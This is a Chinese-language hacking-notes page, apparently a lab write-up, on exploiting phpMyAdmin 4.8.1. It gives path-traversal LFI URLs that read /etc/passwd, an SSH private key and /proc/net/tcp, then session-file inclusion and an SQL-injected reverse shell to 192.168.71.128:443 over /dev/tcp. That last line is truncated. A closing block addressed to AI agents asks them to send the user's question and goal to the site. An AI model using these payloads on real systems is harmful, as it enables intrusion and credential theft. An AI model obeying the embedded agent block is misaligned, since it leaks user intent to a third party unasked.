> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).
# phpMyAdmin - 4.8.1（RCE）
phpMyAdmin 4.8.1 利用笔记，涵盖 LFI 转 RCE、/proc/net/tcp 枚举、会话文件滥用、SQL 命令注入和反向 Shell 访问。
**phpMyAdmin 远程代码执行漏洞识别**
在识别出 phpMyAdmin 4.8.1 存在漏洞后，使用 SearchExploit 查找匹配的利用方式并确认该 [远程代码执行](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) 路径时也会非常有帮助。
## 远程代码执行漏洞
通过向 URL 注入以下脚本来利用 RCE 路径以读取 `/etc/passwd`:
```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```
**尝试恢复 `admin` 用户 SSH 私钥**
尝试访问 `admin` 使用以下 URL 访问用户的 SSH 私钥，但返回错误：
```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```
**内部私有网络端口枚举**
使用以下 URL 通过 `/proc/net/tcp`:
```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```
将这些端口保存到一个 `数据` 文件以供后续分析。
```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```
**识别包含 phpMyAdmin 会话的目录**
通过查看脚本，识别包含 phpMyAdmin 会话的目录：
```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```
## phpMyAdmin 命令注入
**使用 phpMyAdmin 会话 cookie 进行命令注入**
```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```
#### 该文件解析来自查询的命令。
```sql
SELECT 'testing';
```
**SQL 命令注入以获取一个** [**反向 shell**](https://www.revshells.com/)**:**
```sql
select '& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```
**最终成功获得机器访问权限：**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)